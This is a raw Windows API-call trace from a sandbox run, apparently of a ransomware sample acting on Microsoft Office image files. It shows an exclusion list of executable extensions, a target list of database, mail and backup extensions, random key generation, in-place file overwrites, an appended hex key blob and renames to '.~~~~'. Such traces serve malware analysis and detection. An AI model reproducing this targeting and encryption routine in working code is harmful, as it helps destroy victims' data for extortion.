	[0140.910] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0140.910] WriteFile (in: hFile=0x108, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0140.910] CloseHandle (hObject=0x108) returned 1
	[0141.019] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3ae4d0
	[0141.019] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR34B.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir34b.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR34B.GIF.~~~~" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir34b.gif.~~~~")) returned 1
	[0141.021] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3ae4d0 | out: hHeap=0x300000) returned 1
	[0141.021] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357098 | out: hHeap=0x300000) returned 1
	[0141.021] GetLastError () returned 0x0
	[0141.022] RtlWakeConditionVariable () returned 0x0
	[0141.022] GetCurrentThreadId () returned 0x3a4
	[0141.022] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR36B.GIF", lpSrch=".scr") returned 0x0
	[0141.022] lstrlenW (lpString=".cmd") returned 4
	[0141.022] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR36B.GIF", lpSrch=".cmd") returned 0x0
	[0141.022] lstrlenW (lpString=".dll") returned 4
	[0141.022] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR36B.GIF", lpSrch=".dll") returned 0x0
	[0141.022] lstrlenW (lpString=".bat") returned 4
	[0141.022] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR36B.GIF", lpSrch=".bat") returned 0x0
	[0141.022] lstrlenW (lpString=".cpl") returned 4
	[0141.022] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR36B.GIF", lpSrch=".cpl") returned 0x0
	[0141.022] lstrlenW (lpString=".sys") returned 4
	[0141.022] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR36B.GIF", lpSrch=".sys") returned 0x0
	[0141.022] lstrlenW (lpString=".msc") returned 4
	[0141.022] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR36B.GIF", lpSrch=".msc") returned 0x0
	[0141.022] lstrlenW (lpString=".com") returned 4
	[0141.022] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR36B.GIF", lpSrch=".com") returned 0x0
	[0141.023] lstrlenW (lpString=".lnk") returned 4
	[0141.023] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR36B.GIF", lpSrch=".lnk") returned 0x0
	[0141.023] lstrlenW (lpString=".msp") returned 4
	[0141.023] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR36B.GIF", lpSrch=".msp") returned 0x0
	[0141.023] lstrlenW (lpString=".pif") returned 4
	[0141.023] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR36B.GIF", lpSrch=".pif") returned 0x0
	[0141.023] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0141.023] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR36B.GIF", lpSrch="msp\r\n.pif") returned 0x0
	[0141.023] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR36B.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir36b.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc4
	[0141.025] lstrlenW (lpString=".sqb") returned 4
	[0141.025] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR36B.GIF", lpSrch=".sqb") returned 0x0
	[0141.025] lstrlenW (lpString=".ost") returned 4
	[0141.025] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR36B.GIF", lpSrch=".ost") returned 0x0
	[0141.025] lstrlenW (lpString=".txt") returned 4
	[0141.025] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR36B.GIF", lpSrch=".txt") returned 0x0
	[0141.025] lstrlenW (lpString=".mdt") returned 4
	[0141.025] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR36B.GIF", lpSrch=".mdt") returned 0x0
	[0141.025] lstrlenW (lpString=".BDB") returned 4
	[0141.025] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR36B.GIF", lpSrch=".BDB") returned 0x0
	[0141.025] lstrlenW (lpString=".eql") returned 4
	[0141.025] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR36B.GIF", lpSrch=".eql") returned 0x0
	[0141.025] lstrlenW (lpString=".DBF") returned 4
	[0141.026] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR36B.GIF", lpSrch=".DBF") returned 0x0
	[0141.026] lstrlenW (lpString=".EQL") returned 4
	[0141.026] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR36B.GIF", lpSrch=".EQL") returned 0x0
	[0141.026] lstrlenW (lpString=".FDB") returned 4
	[0141.026] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR36B.GIF", lpSrch=".FDB") returned 0x0
	[0141.026] lstrlenW (lpString=".EDB") returned 4
	[0141.026] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR36B.GIF", lpSrch=".EDB") returned 0x0
	[0141.026] lstrlenW (lpString=".DACPAC") returned 7
	[0141.026] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR36B.GIF", lpSrch=".DACPAC") returned 0x0
	[0141.026] lstrlenW (lpString=".VHD") returned 4
	[0141.026] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR36B.GIF", lpSrch=".VHD") returned 0x0
	[0141.026] lstrlenW (lpString=".DBV") returned 4
	[0141.026] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR36B.GIF", lpSrch=".DBV") returned 0x0
	[0141.026] lstrlenW (lpString=".dacpac") returned 7
	[0141.026] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR36B.GIF", lpSrch=".dacpac") returned 0x0
	[0141.026] lstrlenW (lpString=".sdf") returned 4
	[0141.026] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR36B.GIF", lpSrch=".sdf") returned 0x0
	[0141.026] lstrlenW (lpString=".accdb") returned 6
	[0141.026] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR36B.GIF", lpSrch=".accdb") returned 0x0
	[0141.026] lstrlenW (lpString=".DBX") returned 4
	[0141.026] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR36B.GIF", lpSrch=".DBX") returned 0x0
	[0141.026] lstrlenW (lpString=".MDT") returned 4
	[0141.026] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR36B.GIF", lpSrch=".MDT") returned 0x0
	[0141.026] lstrlenW (lpString=".SQB") returned 4
	[0141.026] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR36B.GIF", lpSrch=".SQB") returned 0x0
	[0141.027] lstrlenW (lpString=".vhd") returned 4
	[0141.027] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR36B.GIF", lpSrch=".vhd") returned 0x0
	[0141.027] lstrlenW (lpString=".bac") returned 4
	[0141.027] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR36B.GIF", lpSrch=".bac") returned 0x0
	[0141.027] lstrlenW (lpString=".mdf") returned 4
	[0141.027] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR36B.GIF", lpSrch=".mdf") returned 0x0
	[0141.027] lstrlenW (lpString=".BAK") returned 4
	[0141.027] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR36B.GIF", lpSrch=".BAK") returned 0x0
	[0141.027] lstrlenW (lpString=".BAC") returned 4
	[0141.027] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR36B.GIF", lpSrch=".BAC") returned 0x0
	[0141.027] lstrlenW (lpString=".dbs") returned 4
	[0141.027] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR36B.GIF", lpSrch=".dbs") returned 0x0
	[0141.027] lstrlenW (lpString=".vhdx") returned 5
	[0141.027] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR36B.GIF", lpSrch=".vhdx") returned 0x0
	[0141.027] lstrlenW (lpString=".NDF") returned 4
	[0141.027] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR36B.GIF", lpSrch=".NDF") returned 0x0
	[0141.027] lstrlenW (lpString=".dat") returned 4
	[0141.027] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR36B.GIF", lpSrch=".dat") returned 0x0
	[0141.027] lstrlenW (lpString=".DBS") returned 4
	[0141.027] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR36B.GIF", lpSrch=".DBS") returned 0x0
	[0141.027] lstrlenW (lpString=".CKP") returned 4
	[0141.027] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR36B.GIF", lpSrch=".CKP") returned 0x0
	[0141.027] lstrlenW (lpString=".edb") returned 4
	[0141.027] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR36B.GIF", lpSrch=".edb") returned 0x0
	[0141.027] lstrlenW (lpString=".PST") returned 4
	[0141.028] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR36B.GIF", lpSrch=".PST") returned 0x0
	[0141.028] lstrlenW (lpString=".dbf") returned 4
	[0141.028] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR36B.GIF", lpSrch=".dbf") returned 0x0
	[0141.028] lstrlenW (lpString=".SQL") returned 4
	[0141.028] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR36B.GIF", lpSrch=".SQL") returned 0x0
	[0141.028] lstrlenW (lpString=".pst") returned 4
	[0141.028] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR36B.GIF", lpSrch=".pst") returned 0x0
	[0141.028] lstrlenW (lpString=".dbv") returned 4
	[0141.028] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR36B.GIF", lpSrch=".dbv") returned 0x0
	[0141.028] lstrlenW (lpString=".SDF") returned 4
	[0141.028] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR36B.GIF", lpSrch=".SDF") returned 0x0
	[0141.028] lstrlenW (lpString=".dtxs") returned 5
	[0141.028] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR36B.GIF", lpSrch=".dtxs") returned 0x0
	[0141.028] lstrlenW (lpString=".db3") returned 4
	[0141.028] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR36B.GIF", lpSrch=".db3") returned 0x0
	[0141.028] lstrlenW (lpString=".OST") returned 4
	[0141.028] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR36B.GIF", lpSrch=".OST") returned 0x0
	[0141.028] lstrlenW (lpString=".dbx") returned 4
	[0141.028] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR36B.GIF", lpSrch=".dbx") returned 0x0
	[0141.028] lstrlenW (lpString=".DB3") returned 4
	[0141.028] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR36B.GIF", lpSrch=".DB3") returned 0x0
	[0141.028] lstrlenW (lpString=".DAT") returned 4
	[0141.028] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR36B.GIF", lpSrch=".DAT") returned 0x0
	[0141.028] lstrlenW (lpString=".VHDX") returned 5
	[0141.028] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR36B.GIF", lpSrch=".VHDX") returned 0x0
	[0141.028] lstrlenW (lpString=".ndf") returned 4
	[0141.028] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR36B.GIF", lpSrch=".ndf") returned 0x0
	[0141.029] lstrlenW (lpString=".DB") returned 3
	[0141.029] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR36B.GIF", lpSrch=".DB") returned 0x0
	[0141.029] lstrlenW (lpString=".sql") returned 4
	[0141.029] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR36B.GIF", lpSrch=".sql") returned 0x0
	[0141.029] lstrlenW (lpString=".MYD") returned 4
	[0141.029] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR36B.GIF", lpSrch=".MYD") returned 0x0
	[0141.029] lstrlenW (lpString=".DBT") returned 4
	[0141.029] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR36B.GIF", lpSrch=".DBT") returned 0x0
	[0141.029] lstrlenW (lpString=".ACCDB") returned 6
	[0141.029] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR36B.GIF", lpSrch=".ACCDB") returned 0x0
	[0141.029] lstrlenW (lpString=".fdb") returned 4
	[0141.029] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR36B.GIF", lpSrch=".fdb") returned 0x0
	[0141.029] lstrlenW (lpString=".bak") returned 4
	[0141.029] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR36B.GIF", lpSrch=".bak") returned 0x0
	[0141.029] lstrlenW (lpString=".myd") returned 4
	[0141.029] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR36B.GIF", lpSrch=".myd") returned 0x0
	[0141.029] lstrlenW (lpString=".DTXS") returned 5
	[0141.029] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR36B.GIF", lpSrch=".DTXS") returned 0x0
	[0141.029] lstrlenW (lpString=".ckp") returned 4
	[0141.029] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR36B.GIF", lpSrch=".ckp") returned 0x0
	[0141.029] lstrlenW (lpString=".dbt") returned 4
	[0141.029] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR36B.GIF", lpSrch=".dbt") returned 0x0
	[0141.029] lstrlenW (lpString=".db") returned 3
	[0141.029] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR36B.GIF", lpSrch=".db") returned 0x0
	[0141.029] lstrlenW (lpString=".TXT") returned 4
	[0141.029] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR36B.GIF", lpSrch=".TXT") returned 0x0
	[0141.029] lstrlenW (lpString=".MDF") returned 4
	[0141.030] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR36B.GIF", lpSrch=".MDF") returned 0x0
	[0141.030] lstrlenW (lpString=".bdb") returned 4
	[0141.030] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR36B.GIF", lpSrch=".bdb") returned 0x0
	[0141.030] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0141.030] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR36B.GIF", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0141.030] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x29061a8
	[0141.030] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x3630d0
	[0141.030] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x394b08) returned 1
	[0141.031] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x3630d0 | out: pbBuffer=0x3630d0) returned 1
	[0141.031] CryptReleaseContext (hProv=0x394b08, dwFlags=0x0) returned 1
	[0141.031] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3630d0 | out: hHeap=0x300000) returned 1
	[0141.032] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b70
	[0141.032] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0141.032] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=26102176695) returned 1
	[0141.032] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0xbd7668f0, dwHighDateTime=0x1d60e1e)) 
	[0141.032] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362440
	[0141.032] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362420
	[0141.032] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357098
	[0141.032] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3b2b70
	[0141.032] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0141.032] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b2b70 | out: hHeap=0x300000) returned 1
	[0141.032] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0141.032] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0141.032] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3ae4d0
	[0141.033] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0141.033] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3b0c98
	[0141.033] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3ae4d0 | out: hHeap=0x300000) returned 1
	[0141.033] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0141.033] GetLastError () returned 0x0
	[0141.033] GetLastError () returned 0x0
	[0141.033] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0141.033] GetLastError () returned 0x0
	[0141.034] GetLastError () returned 0x0
	[0141.034] ReadFile (in: hFile=0xc4, lpBuffer=0x28e6048, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e6048*, lpNumberOfBytesRead=0x24dfec0*=0x23e1, lpOverlapped=0x0) returned 1
	[0141.036] SetFilePointerEx (in: hFile=0xc4, liDistanceToMove=0xffffdc1f, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0141.036] WriteFile (in: hFile=0xc4, lpBuffer=0x28e6048*, nNumberOfBytesToWrite=0x23e1, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e6048*, lpNumberOfBytesWritten=0x24dfec0*=0x23e1, lpOverlapped=0x0) returned 1
	[0141.036] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e6048 | out: hHeap=0x300000) returned 1
	[0141.036] SetFilePointerEx (in: hFile=0xc4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0141.036] WriteFile (in: hFile=0xc4, lpBuffer=0x368b70*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b70*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0141.037] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0141.037] WriteFile (in: hFile=0xc4, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0141.037] CloseHandle (hObject=0xc4) returned 1
	[0141.037] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3ae4d0
	[0141.037] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR36B.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir36b.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR36B.GIF.~~~~" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir36b.gif.~~~~")) returned 1
	[0141.039] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3ae4d0 | out: hHeap=0x300000) returned 1
	[0141.040] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357098 | out: hHeap=0x300000) returned 1
	[0141.040] GetLastError () returned 0x0
	[0141.040] RtlWakeConditionVariable () returned 0x0
	[0141.040] GetCurrentThreadId () returned 0x3a4
	[0141.040] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR36F.GIF", lpSrch=".scr") returned 0x0
	[0141.040] lstrlenW (lpString=".cmd") returned 4
	[0141.040] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR36F.GIF", lpSrch=".cmd") returned 0x0
	[0141.040] lstrlenW (lpString=".dll") returned 4
	[0141.040] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR36F.GIF", lpSrch=".dll") returned 0x0
	[0141.040] lstrlenW (lpString=".bat") returned 4
	[0141.040] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR36F.GIF", lpSrch=".bat") returned 0x0
	[0141.040] lstrlenW (lpString=".cpl") returned 4
	[0141.040] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR36F.GIF", lpSrch=".cpl") returned 0x0
	[0141.040] lstrlenW (lpString=".sys") returned 4
	[0141.040] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR36F.GIF", lpSrch=".sys") returned 0x0
	[0141.040] lstrlenW (lpString=".msc") returned 4
	[0141.040] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR36F.GIF", lpSrch=".msc") returned 0x0
	[0141.040] lstrlenW (lpString=".com") returned 4
	[0141.041] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR36F.GIF", lpSrch=".com") returned 0x0
	[0141.041] lstrlenW (lpString=".lnk") returned 4
	[0141.041] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR36F.GIF", lpSrch=".lnk") returned 0x0
	[0141.041] lstrlenW (lpString=".msp") returned 4
	[0141.041] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR36F.GIF", lpSrch=".msp") returned 0x0
	[0141.041] lstrlenW (lpString=".pif") returned 4
	[0141.041] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR36F.GIF", lpSrch=".pif") returned 0x0
	[0141.041] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0141.041] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR36F.GIF", lpSrch="msp\r\n.pif") returned 0x0
